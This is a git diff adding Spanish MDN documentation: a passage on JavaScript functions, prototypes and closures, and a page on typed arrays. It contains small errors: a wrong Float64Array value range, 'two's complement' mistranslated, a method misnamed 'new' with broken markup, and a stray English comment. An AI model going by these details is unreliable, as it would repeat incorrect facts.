+<p>Pero sería bueno poder reutilizar la función que ya hemos creado. Afortunadamente, JavaScript te permite llamar a una función con un arreglo arbitrario de argumentos, usando el método {{jsxref("Function.apply", "apply()")}} de cualquier objeto función.</p>
+
+<pre class="brush: js notranslate">avg.apply(null, [2, 3, 4, 5]); // 3.5
+</pre>
+
+<p>El segundo argumento de <code>apply()</code> es el arreglo que se utilizará como <code>arguments</code>; el primero se explicará más adelante. Esto enfatiza el hecho de que las funciones también son objetos.</p>
+
+<div class="note">
+<p>Puedes lograr el mismo resultado utilizando el <a href="/es/docs/Web/JavaScript/Reference/Operators/Spread_operator">operador de propagación</a> en la llamada de función.</p>
+
+<p>Por ejemplo: <code>avg(...numbers) </code></p>
+</div>
+
+<p>JavaScript te permite crear funciones anónimas.</p>
+
+<pre class="brush: js notranslate">var avg = function() {
+  var sum = 0;
+  for (var i = 0, j = arguments.length; i &lt; j; i++) {
+    sum += arguments[i];
+  }
+  return sum / arguments.length;
+};
+</pre>
+
+<p>Esto semánticamente es equivalente a la forma <code>function avg()</code>. Es extremadamente poderosa, ya que te permite colocar una definición de función completa en cualquier lugar donde normalmente colocarías una expresión. Esto permite todo tipo de ingeniosos trucos. Aquí hay una forma de "ocultar" algunas variables locales — como alcance de bloque en C:</p>
+
+<pre class="brush: js notranslate">var a = 1;
+var b = 2;
+
+(function() {
+  var b = 3;
+  a += b;
+})();
+
+a; // 4
+b; // 2
+</pre>
+
+<p>JavaScript te permite llamar a funciones de forma recursiva. Esto es particularmente útil para tratar con estructuras de árbol, como las que se encuentran en el DOM del navegador.</p>
+
+<pre class="brush: js notranslate">function countChars(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += countChars(child);
+  }
+  return count;
+}
+</pre>
+
+<p>Esto resalta un problema potencial con las funciones anónimas: ¿cómo las llama de forma recursiva si no tienen un nombre? JavaScript te permite nombrar expresiones de función para esto. Puedes utilizar {{Glossary("IIFE", "IIFE (expresiones de función invocadas inmediatamente)")}} con nombre como se muestra a continuación:</p>
+
+<pre class="brush: js notranslate">var charsInBody = (function counter(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += counter(child);
+  }
+  return count;
+})(document.body);
+</pre>
+
+<p>El nombre proporcionado a una expresión de función como arriba solo está disponible para el alcance de la función. Esto permite que el motor realice más optimizaciones y da como resultado un código más legible. El nombre también aparece en el depurador y en algunos seguimientos de la pila, lo cual puede ahorrarte tiempo al depurar.</p>
+
+<p>Ten en cuenta que las funciones de JavaScript en sí mismas son objetos, como todo lo demás en JavaScript, y puedes agregar o cambiar propiedades en ellas tal como hemos visto anteriormente en la sección Objetos.</p>
+
+<h2 id="Objetos_personalizados">Objetos personalizados</h2>
+
+<div class="note">Para obtener una descripción más detallada de la programación orientada a objetos en JavaScript, consulta <a href="/es/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introducción a JavaScript orientado a objetos</a>.</div>
+
+<p>En la programación clásica orientada a objetos, los objetos son colecciones de datos y métodos que operan sobre esos datos. JavaScript es un lenguaje basado en prototipos que no contiene una declaración de clase, como la encontrarías en C++ o Java (esto, a veces es confuso para los programadores acostumbrados a lenguajes con una declaración de clase). En cambio, JavaScript usa funciones como clases. Consideremos un objeto <code>person</code> con campos <code>first</code> y <code>last name</code>. Hay dos formas de mostrar el nombre: como "primero último" o como "último, primero". Usando las funciones y objetos que hemos explicado anteriormente, podríamos mostrar los datos de esta manera:</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+  return {
+    first: first,
+    last: last
+  };
+}
+function personFullName(person) {
+  return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+  return person.last + ', ' + person.first;
+}
+
+var s = makePerson('Simon', 'Willison');
+personFullName(s); // "Simon Willison"
+personFullNameReversed(s); // "Willison, Simon"
+</pre>
+
+<p>Esto funciona, pero es bastante feo. Terminas con docenas de funciones en tu espacio de nombres global. Lo que realmente necesitamos es una forma de enlazar una función a un objeto. Dado que las funciones son objetos, esto es fácil:</p>
+
+<pre class="brush: js notranslate">function makePerson(first, last) {
+  return {
+    first: first,
+    last: last,
+    fullName: function() {
+      return this.first + ' ' + this.last;
+    },
+    fullNameReversed: function() {
+      return this.last + ', ' + this.first;
+    }
+  };
+}
+
+var s = makePerson('Simon', 'Willison');
+s.fullName(); // "Simon Willison"
+s.fullNameReversed(); // "Willison, Simon"
+</pre>
+
+<p>Nota sobre la palabra clave <code><a href="/es/docs/Web/JavaScript/Reference/Operators/this" title="/es/JavaScript/Reference/Operators/this">this</a></code>. Usada dentro de una función, <code>this</code> se refiere al objeto actual. Lo que realmente significa está especificado por la forma en que llamaste a esa función. Si lo llamaste usando <a href="/es/docs/Web/JavaScript/Reference/Operators/Object_initializer#Accessing_properties" title="/es/JavaScript/Reference/Operators/Member_Operators">notación de puntos o notación de corchetes</a> en un objeto, ese objeto se convierte en <code>this</code>. Si la notación de puntos no se usó para la llamada, <code>this</code> se refiere al objeto global.</p>
+
+<p>Ten en cuenta que <code>this</code> es una frecuente causa de errores. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var s = makePerson('Simon', 'Willison');
+var fullName = s.fullName;
+fullName(); // undefined undefined
+</pre>
+
+<p>Cuando llamamos a <code>fullName()</code> solo, sin usar <code>s.fullName()</code>, <code>this</code> está vinculado al objeto global. Debido a que no hay variables globales llamadas <code>first</code> o <code>last</code> obtenemos <code>undefined</code> para cada una.</p>
+
+<p>Podemos aprovechar la palabra clave <code>this</code> para mejorar nuestra función <code>makePerson</code>:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = function() {
+    return this.first + ' ' + this.last;
+  };
+  this.fullNameReversed = function() {
+    return this.last + ', ' + this.first;
+  };
+}
+var s = new Person('Simon', 'Willison');
+</pre>
+
+<p>Hemos introducido otra palabra clave: <code><a href="/es/docs/Web/JavaScript/Reference/Operators/new" title="/es/JavaScript/Reference/Operators/new">new</a></code>. <code>new</code> está fuertemente relacionado con <code>this</code>. Crea un nuevo objeto vacío y luego llama a la función especificada, con <code>this</code> configurado para ese nuevo objeto. Sin embargo, ten en cuenta que la función especificada con <code>this</code> no devuelve un valor, sino que simplemente modifica el objeto <code>this</code>. Es <code>new</code> que devuelve el objeto <code>this</code> al sitio que realiza la llamada. Las funciones que están diseñadas para ser llamadas por <code>new</code> se denominan funciones constructoras. La práctica común es poner en mayúscula estas funciones como recordatorio para llamarlas con <code>new</code>.</p>
+
+<p>La función mejorada todavía tiene el mismo error al llamar a <code>fullName()</code> sola.</p>
+
+<p>Nuestros objetos <code>person</code> están mejorando, pero todavía tienen algunos bordes desagradables. Cada vez que creamos un objeto <code>person</code>, estamos creando dos nuevos objetos de función dentro de él, ¿no sería mejor si este código fuera compartido?</p>
+
+<pre class="brush: js notranslate">function personFullName() {
+  return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+  return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = personFullName;
+  this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
+<p>Eso es mejor: estamos creando las funciones como métodos solo una vez y asignándoles referencias dentro del constructor. ¿Podemos hacer algo mejor que eso? La respuesta es sí:</p>
+
+<pre class="brush: js notranslate">function Person(first, last) {
+  this.first = first;
+  this.last = last;
+}
+Person.prototype.fullName = function() {
+  return this.first + ' ' + this.last;
+};
+Person.prototype.fullNameReversed = function() {
+  return this.last + ', ' + this.first;
+};
+</pre>
+
+<p><code>Person.prototype</code> es un objeto compartido por todas las instancias de <code>Person</code>. Forma parte de una cadena de búsqueda (que tiene un nombre especial, "cadena de prototipos"): cada vez que intentes acceder a una propiedad de <code>Person</code> que no esté configurada, JavaScript revisará <code>Person.prototype</code> para ver si esa propiedad existe allí. Como resultado, todo lo asignado a <code>Person.prototype</code> pasa a estar disponible para todas las instancias de ese constructor a través del objeto <code>this</code>.</p>
+
+<p>Esta es una herramienta increíblemente poderosa. JavaScript te permite modificar el prototipo de algo en cualquier momento en tu programa, lo cual significa que —en tiempo de ejecución— puedes agregar métodos adicionales a los objetos existentes:</p>
+
+<pre class="brush: js notranslate">var s = new Person('Simon', 'Willison');
+s.firstNameCaps(); // TypeError en la línea 1: s.firstNameCaps no es una función
+
+Person.prototype.firstNameCaps = function() {
+  return this.first.toUpperCase();
+};
+s.firstNameCaps(); // "SIMON"
+</pre>
+
+<p>Curiosamente, también puedes agregar cosas al prototipo de objetos JavaScript integrados. Agreguemos un método a <code>String</code> que devuelva esa cadena a la inversa:</p>
+
+<pre class="brush: js notranslate">var s = 'Simon';
+s.reversed(); // TypeError en la línea 1: s.reversed no es una función
+
+String.prototype.reversed = function() {
+  var r = '';
+  for (var i = this.length - 1; i &gt;= 0; i--) {
+    r += this[i];
+  }
+  return r;
+};
+
+s.reversed(); // nomiS
+</pre>
+
+<p>¡Nuestro método <code>new<code> funciona incluso con cadenas literales!</code></code></p><code><code>
+
+<pre class="brush: js notranslate">'Esto ahora se puede revertir'.reversed(); // ritrever edeup es aroha otsE
+</pre>
+
+<p>Como se mencionó anteriormente, el prototipo forma parte de una cadena. La raíz de esa cadena es <code>Object.prototype</code>, cuyos métodos incluyen <code>toString()</code>; es este método el que se llama cuando intentas representar un objeto como una cadena. Esto es útil para depurar nuestros objetos <code>Person</code>:</p>
+
+<pre class="brush: js notranslate">var s = new Person('Simon', 'Willison');
+s.toString(); // [object Object]
+
+Person.prototype.toString = function() {
+  return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+
+s.toString(); // "&lt;Person: Simon Willison&gt;"
+</pre>
+
+<p>¿Recuerda cómo <code>avg.apply()</code> tenía un primer argumento <code>null</code>? Ahora lo podemos revisar. El primer argumento de <code>apply()</code> es el objeto que se debe tratar como '<code>this</code>'. Por ejemplo, aquí hay una implementación trivial de <code>new</code>:</p>
+
+<pre class="brush: js notranslate">function trivialNew(constructor, ...args) {
+  var o = {}; // Crea un objeto
+  constructor.apply(o, args);
+  return o;
+}
+</pre>
+
+<p>Esta no es una réplica exacta de <code>new</code> ya que no configura la cadena de prototipos (sería difícil de ilustrar). Esto no es algo que use con mucha frecuencia, pero es útil conocerlo. En este fragmento, <code>...args</code> (incluidos los puntos suspensivos) se denomina "<a href="/es/docs/Web/JavaScript/Reference/Functions/rest_parameters">argumentos rest</a>" — como su nombre indica, contiene el resto de los argumentos.</p>
+
+<p>Llamar a...</p>
+
+<pre class="brush: js notranslate">var bill = trivialNew(Person, 'William', 'Orange');</pre>
+
+<p>...por tanto, casi es equivalente a</p>
+
+<pre class="brush: js notranslate">var bill = new Person('William', 'Orange');</pre>
+
+<p><code>apply()</code> tiene una función hermana llamada {{jsxref("Objetos_Globales/Function/call", "call()")}}, que nuevamente te permite establecer <code>this</code> pero toma una lista de argumentos expandida en lugar de un arreglo.</p>
+
+<pre class="brush: js notranslate">function lastNameCaps() {
+  return this.last.toUpperCase();
+}
+var s = new Person('Simon', 'Willison');
+lastNameCaps.call(s);
+// Es lo mismo que:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps(); // WILLISON
+</pre>
+
+<h3 id="Funciones_internas">Funciones internas</h3>
+
+<p>Las declaraciones de función de JavaScript están permitidas dentro de otras funciones. Hemos visto esto una vez antes, con la función <code>makePerson()</code> anterior. Un detalle importante de las funciones anidadas en JavaScript es que pueden acceder a las variables en el alcance de su función padre:</p>
+
+<pre class="brush: js notranslate">function parentFunc() {
+  var a = 1;
+
+  function nestedFunc() {
+    var b = 4; // parentFunc no puede usar esto
+    return a + b;
+  }
+  return nestedFunc(); // 5
+}
+</pre>
+
+<p>Esto proporciona una gran utilidad para escribir un código más fácil de mantener. Si una función llamada se basa en una o dos funciones que no son útiles para ninguna otra parte de tu código, puedes anidar esas funciones de utilidad dentro de ella. Esto mantiene baja la cantidad de funciones que están en el alcance global, lo cual siempre es bueno.</p>
+
+<p>Esto también contrarresta el atractivo de las variables globales. Al escribir código complejo, a menudo es tentador utilizar variables globales para compartir valores entre múltiples funciones, lo que conduce a un código difícil de mantener. Las funciones anidadas pueden compartir variables en su padre, por lo que puedes usar ese mecanismo para unir funciones cuando tenga sentido sin contaminar tu espacio de nombres global — "globales locales" si lo deseas. Esta técnica se debe usar con precaución, pero es una útil habilidad.</p>
+
+<h2 id="Cierres">Cierres</h2>
+
+<p>Esto nos lleva a una de las abstracciones más poderosas que JavaScript tiene para ofrecer — pero potencialmente, también la más confusa. ¿Qué hace esta?</p>
+
+<pre class="brush: js notranslate">function makeAdder(a) {
+  return function(b) {
+    return a + b;
+  };
+}
+var add5 = makeAdder(5);
+var add20 = makeAdder(20);
+add5(6); // ?
+add20(7); // ?
+</pre>
+
+<p>El nombre de la función <code>makeAdder()</code> lo debería revelar: crea nuevas funciones '<code>adder</code>', cada una de las cuales, cuando se llama con un argumento, lo suma al argumento con el que fue creada.</p>
+
+<p>Lo que está sucediendo aquí es más o menos lo mismo que sucedía anteriormente con las funciones internas: una función definida dentro de otra función tiene acceso a las variables de la función externa. La única diferencia aquí es que la función externa ha regresado y, por lo tanto, el sentido común parece dictar que sus variables locales ya no existen. Pero <em>sí</em> existen todavía — de lo contrario, las funciones de suma no podrían funcionar. Además, hay dos diferentes "copias" de las variables locales de <code>makeAdder()</code>: una en la que <code>a</code> es 5 y la otra en la que <code>a</code> es 20. Entonces, el resultado de las llamadas a esa función es el siguiente:</p>
+
+<pre class="brush: js notranslate">add5(6); // returns 11
+add20(7); // devuelve 27
+</pre>
+
+<p>Esto es lo que está sucediendo realmente. Siempre que JavaScript ejecuta una función, se crea un objeto '<code>scope</code>' para contener las variables locales creadas dentro de esa función. Se inicia con cualquier variable pasada como parámetros de función. Esto es similar al objeto global en el que viven todas las variables y funciones globales, pero con un par de importantes diferencias: en primer lugar, se crea un objeto de alcance completamente nuevo cada vez que una función se comienza a ejecutar y, en segundo lugar, a diferencia del objeto global (que es accesible como <code>this</code> y en los navegadores como <code>window</code>) no se puede acceder directamente a estos objetos <code>scope</code> desde tu código JavaScript. No hay ningún mecanismo para iterar sobre las propiedades del objeto <code>scope</code> actual, por ejemplo.</p>
+
+<p>Entonces, cuando se llama a <code>makeAdder()</code>, se crea un objeto <code>scope</code> con una propiedad: <code>a</code>, que es el argumento que se pasa a la función <code>makeAdder()</code>. <code>makeAdder()</code> luego devuelve una función recién creada. Normalmente, el recolector de basura de JavaScript limpiaría el objeto <code>scope</code> creado para <code>makeAdder()</code> en este punto, pero la función devuelta mantiene una referencia a ese objeto de ámbito. Como resultado, el objeto <code>scope</code> no será recolectado como basura hasta que no haya más referencias al objeto función que <code>makeAdder()</code> devolvió.</p>
+
+<p>Los objetos <code>scope</code> forman una cadena llamada cadena de ámbito, similar a la cadena de prototipos utilizada por el sistema de objetos de JavaScript.</p>
+
+<p>Un <strong>cierre</strong> es la combinación de una función y el objeto <code>scope</code> en el que se creó. Los cierres te permiten guardar el estado — como tal, a menudo se pueden usar en lugar de objetos. Puedes encontrar <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">varias presentaciones excelentes de los cierres</a>.</p></code></code>
diff --git a/files/es/web/javascript/vectores_tipados/index.html b/files/es/web/javascript/vectores_tipados/index.html
new file mode 100644
index 0000000000..ba82a49ebd
--- /dev/null
+++ b/files/es/web/javascript/vectores_tipados/index.html
@@ -0,0 +1,272 @@
+---
+title: Arreglos tipados de JavaScript
+slug: Web/JavaScript/Vectores_tipados
+tags:
+  - Arreglo tipado
+  - Guía
+  - JavaScript
+translation_of: Web/JavaScript/Typed_arrays
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p><span class="seoSummary"><strong>Los arreglos tipados en JavaScript</strong> son objetos similares a arreglos que proporcionan un mecanismo para leer y escribir datos binarios sin procesar en búferes de memoria.</span> Como ya sabrás, los objetos {{jsxref("Array", "Arreglo")}} crecen y se encogen dinámicamente y pueden tener cualquier valor de JavaScript. Los motores de JavaScript realizan optimizaciones para que estos arreglos sean rápidos.</p>
+
+<p>Sin embargo, a medida que las aplicaciones web se vuelven cada vez más poderosas, agregando características como manipulación de audio y video, acceso a datos sin procesar usando <code>WebSockets</code>, etc., ha quedado claro que hay momentos en los que sería útil que el código JavaScript pudiera manipular rápida y fácilmente datos binarios sin procesar. Aquí es donde entran en juego los arreglos tipados. Cada entrada en un arreglo tipado de JavaScript es un valor binario sin procesar en uno de los formatos admitidos, desde números enteros de 8 bits hasta números de punto flotante de 64 bits.</p>
+
+<p>Sin embargo, los arreglos tipados <em>no</em> se deben confundir con los arreglos normales, ya que llamar a {{JSxRef("Array.isArray()")}} en un arreglo tipado devuelve <code>false</code>. Además, no todos los métodos disponibles para arreglos normales son compatibles con arreglos tipados (por ejemplo, <code>push</code> y <code>pop</code>).</p>
+
+<h2 id="Búferes_y_vistas_arquitectura_de_los_arreglos_tipados">Búferes y vistas: arquitectura de los arreglos tipados</h2>
+
+<p>Para lograr la máxima flexibilidad y eficiencia, los arreglos de JavaScript dividen la implementación en <em>búferes</em> y <em>vistas</em>. Un búfer (implementado por el objeto {{jsxref("ArrayBuffer")}} es un objeto que representa una porción de datos; no tiene ningún formato del que hablar y no ofrece ningún mecanismo para acceder a su contenido. Para acceder a la memoria contenida en un búfer, necesitas usar una vista. Una vista proporciona un contexto — es decir, un tipo de dato, un desplazamiento inicial y el número de elementos — que convierte los datos en un arreglo tipado.</p>
+
+<p><img alt="Arreglos tipados en ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer"><code>ArrayBuffer</code></h3>
+
+<p>{{jsxref("ArrayBuffer")}} es un tipo de dato que se utiliza para representar un búfer de datos binarios genérico de longitud fija. No puedes manipular directamente el contenido de un <code>ArrayBuffer</code>; en su lugar, crea una vista de arreglo tipado o un {{JSxRef("DataView")}} que representa el búfer en un formato específico, y lo usa para leer y escribir el contenido del búfer.</p>
+
+<h3 id="Vistas_de_arreglos_tipados">Vistas de arreglos tipados</h3>
+
+<p>Las vistas de arreglos tipados tienen nombres autodescriptivos y proporcionan vistas para todos los tipos numéricos habituales tal como <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> y así sucesivamente. Hay una vista de arreglo tipado especial, la <code>Uint8ClampedArray</code>. Esta fija los valores entre 0 y 255. {{JSxRef("../Data_structures", "Tipos de datos JavaScript")}}</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Tipo</th>
+   <th class="header" scope="col">Intervalo de valores</th>
+   <th class="header" scope="col">Tamaño en bytes</th>
+   <th class="header" scope="col">Descripción</th>
+   <th class="header" scope="col">Tipo de IDL web</th>
+   <th class="header" scope="col">Tipo C equivalente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Int8Array")}}</td>
+   <td><code>-128</code> a <code>127</code></td>
+   <td>1</td>
+   <td>Dos enteros complementarios de 8 bits con signo</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Uint8Array")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8-bit sin signo</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Uint8ClampedArray")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8 bits sin signo (sujeto)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Int16Array")}}</td>
+   <td><code>-32768</code> a <code>32767</code></td>
+   <td>2</td>
+   <td>Dos enteros complementarios de 16 bits con signo</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Uint16Array")}}</td>
+   <td><code>0</code> a <code>65535</code></td>
+   <td>2</td>
+   <td>Entero de 16 bits sin signo</td>
+   <td><code>Short sin signo</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Int32Array")}}</td>
+   <td><code>-2147483648</code> a <code>2147483647</code></td>
+   <td>4</td>
+   <td>dos enteros complementarios de 32 bits con signo</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Uint32Array")}}</td>
+   <td><code>0</code> a <code>4294967295</code></td>
+   <td>4</td>
+   <td>Enteros de 32 bits sin signo</td>
+   <td><code>long sin signo</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Float32Array")}}</td>
+   <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> a <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td>
+   <td>4</td>
+   <td>Número de coma flotante IEEE de 32 bits (7 dígitos significativos, p. ej., <code>1.1234567</code>)</td>
+   <td><code>float sin restricciones</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Float64Array")}}</td>
+   <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> a <code>3.4</code><span>×</span><code>10<sup>308</sup></code></td>
+   <td>8</td>
+   <td>Número de coma flotante IEEE de 64 bits (16 dígitos significativos, p. ej., <code>1.123...15</code>)</td>
+   <td><code>doble sin restricciones</code></td>
+   <td><code>double</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("BigInt64Array")}}</td>
+   <td><code>-2<sup>63</sup></code> a <code>2<sup>63</sup>-1</code></td>
+   <td>8</td>
+   <td>Dos enteros complementarios de 64 bits con signo</td>
+   <td><code>bigint</code></td>
+   <td><code>int64_t (long long con signo)</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("BigUint64Array")}}</td>
+   <td><code>0</code> a <code>2<sup>64</sup>-1</code></td>
+   <td>8</td>
+   <td>Entero de 64 bits sin signo</td>
+   <td><code>bigint</code></td>
+   <td><code>uint64_t (long long sin signo)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="DataView"><code>DataView</code></h3>
+
+<p>{{jsxref("DataView")}} es una interfaz de bajo nivel que proporciona una API captadora (<code>getter</code>)/(<code>setter</code>) establecedora para leer y escribir datos arbitrarios en el búfer. Esto es útil cuando se trata de diferentes tipos de datos, por ejemplo. Las vistas de arreglos tipados están en el orden de bytes nativo (consulta {{Glossary("Endianness")}} de tu plataforma. Con un <code>DataView</code> puedes controlar el orden de bytes. Es <code>big-endian</code> de manera predeterminada y se puede establecer en <code>little-endian</code> en los métodos captadores/establecedores.</p>
+
+<h2 id="APIs_web_que_utilizan_arreglos_tipados">APIs web que utilizan arreglos tipados</h2>
+
+<p>Estos son algunos ejemplos de APIs que utilizan arreglos tipados; hay otras, y todo el tiempo surgen más.</p>
+
+<dl>
+ <dt>{{Link("/en-US/docs/Web/API/FileReader", "FileReader.prototype.readAsArrayBuffer()", "#readAsArrayBuffer()")}}</dt>
+ <dd>El método <code>FileReader.prototype.readAsArrayBuffer()</code> comienza a leer el contenido del {{Link("/es/docs/Web/API/Blob", "Blob")}} o {{Link("/es/docs/Web/API/File", "File")}}.</dd>
+ <dt><a href="/en-US/docs/Web/API/XMLHttpRequest#send()" title="/en-US/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd>El método <code>send()</code> de instancias de <code>XMLHttpRequest</code> ahora admiten arreglos tipados y objetos {{JSxRef("ArrayBuffer")}} como argumento.</dd>
+ <dt>{{Link("/en-US/docs/Web/API/ImageData", "ImageData.data")}}</dt>
+ <dd>Es un {{JSxRef("Uint8ClampedArray")}} que representa un arreglo unidimensional que contiene los datos en el orden RGBA, con valores enteros entre <code>0</code> y <code>255</code> inclusive.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usar_vistas_con_búferes">Usar vistas con búferes</h3>
+
+<p>En primer lugar, necesitaremos crear un búfer, aquí con una longitud fija de 16 bytes:</p>
+
+<pre class="brush:js notranslate">let buffer = new ArrayBuffer(16);
+</pre>
+
+<p>En este punto, tenemos una porción de memoria cuyos bytes están todos preiniciados a 0. Sin embargo, no hay mucho que podamos hacer con él. Podemos confirmar que de hecho tiene 16 bytes de longitud, y eso es todo:</p>
+
+<pre class="brush:js notranslate">if (buffer.byteLength === 16) {
+  console.log("Sí, son 16 bytes");
+} else {
+  console.log("¡Oh no, es del tamaño incorrecto!");
+}
+</pre>
+
+<p>Antes de que podamos trabajar realmente con este búfer, necesitamos crear una vista. Creemos una vista que trate los datos en el búfer como un arreglo de enteros de 32 bits con signo:</p>
+
+<pre class="brush:js notranslate">let int32View = new Int32Array(buffer);
+</pre>
+
+<p>Ahora podemos acceder a los campos del arreglo como un arreglo normal:</p>
+
+<pre class="brush:js notranslate">for (let i = 0; i &lt; int32View.length; i++) {
+  int32View[i] = i * 2;
+}
+</pre>
+
+<p>Esto completa las 4 entradas en el arreglo (4 entradas de 4 bytes cada una suman 16 bytes en total) con los valores <code>0</code>, <code>2</code>, <code>4</code> y <code>6</code>.</p>
+
+<h3 id="Múltiples_vistas_sobre_los_mismos_datos">Múltiples vistas sobre los mismos datos</h3>
+
+<p>Las cosas comienzan a ponerse realmente interesantes cuando consideras que puedes crear múltiples vistas sobre los mismos datos. Por ejemplo, dado el código anterior, podemos continuar así:</p>
+
+<pre class="brush:js notranslate">let int16View = new Int16Array(buffer);
+
+for (let i = 0; i &lt; int16View.length; i++) {
+  console.log('Entrada ' + i + ': ' + int16View[i]);
+}
+</pre>
+
+<p>Aquí creamos una vista entera de 16 bits que comparte el mismo búfer que la vista existente de 32 bits y sacamos todos los valores en el búfer como enteros de 16 bits. Ahora obtenemos la salida <code>0</code>, <code>0</code>, <code>2</code>, <code>0</code>, <code>4</code>, <code>0</code>, <code>6</code>, <code>0</code>.</p>
+
+<p>Sin embargo, puedes dar un paso más. Considera esto:</p>
+
+<pre class="brush:js notranslate">int16View[0] = 32;
+console.log('La entrada 0 en el arreglo de 32 bits ahora es ' + int32View[0]);
+</pre>
+
+<p>La salida de esto es <code>"La entrada 0 en el arreglo de 32 bits ahora es 32"</code>.</p>
+
+<p>En otras palabras, los dos arreglos se ven simplemente en el mismo búfer de datos, tratándolo como formatos diferentes. Lo puedes hacer con cualquier {{JSxRef("Global_Objects/TypedArray", "tipo de vista", "#TypedArray_objects")}}.</p>
+
+<h3 id="Trabajar_con_complejas_estructuras_de_datos">Trabajar con complejas estructuras de datos</h3>
+
+<p>Al combinar un solo búfer con múltiples vistas de diferentes tipos, comenzando con diferentes desplazamientos en el búfer, puedes interactuar con objetos de datos que contienen múltiples tipos de datos. Esto te permite, por ejemplo, interactuar con complejas estructuras de datos {{Link("/es/docs/Web/WebGL", "WebGL")}}, archivos de datos o estructuras C que necesitas utilizar mientras usas {{Link("/en-US/docs/Mozilla/js-ctypes", "js-ctypes")}}.</p>
+
+<p>Considera esta estructura C:</p>
+
+<pre class="brush:cpp notranslate">struct someStruct {
+  unsigned long id;
+  char username[16];
+  float amountDue;
+};</pre>
+
+<p>Puedes acceder a un búfer que contiene datos en un formato como este:</p>
+
+<pre class="brush:js notranslate">let buffer = new ArrayBuffer(24);
+
+// ... lee los datos en el búfer ...
+
+let idView = new Uint32Array(buffer, 0, 1);
+let usernameView = new Uint8Array(buffer, 4, 16);
+let amountDueView = new Float32Array(buffer, 20, 1);</pre>
+
+<p>Luego puedes acceder, por ejemplo, al monto adeudado con <code>amountDueView[0]</code>.</p>
+
+<div class="note"><strong>Nota</strong>: La {{interwiki("wikipedia", "Data_structure_alignment")}} en una estructura C depende de la plataforma. Toma precauciones y consideraciones para estas diferencias de relleno.</div>
+
+<h3 id="Conversión_a_arreglos_normales">Conversión a arreglos normales</h3>
+
+<p>Después de procesar un arreglo con tipo, a veces es útil volver a convertirla en un arreglo normal para beneficiarse del prototipo {{jsxref("Array")}}. Esto se puede hacer usando {{JSxRef("Array.from()")}}, o usando el siguiente código donde <code>Array.from()</code> no es compatible.</p>
+
+<pre class="brush:js notranslate">let typedArray = new Uint8Array([1, 2, 3, 4]),
+    normalArray = Array.prototype.slice.call(typedArray);
+normalArray.length === 4;
+normalArray.constructor === Array;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Int8Array")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{Link("/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding", "Conseguir ArrayBuffers o arreglos tipados a partir de cadenas codificadas en Base64", "#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer")}}</li>
+ <li>{{Link("/en-US/docs/Code_snippets/StringView", "StringView: una representación en C de cadenas basadas en arreglos tipados")}}</li>
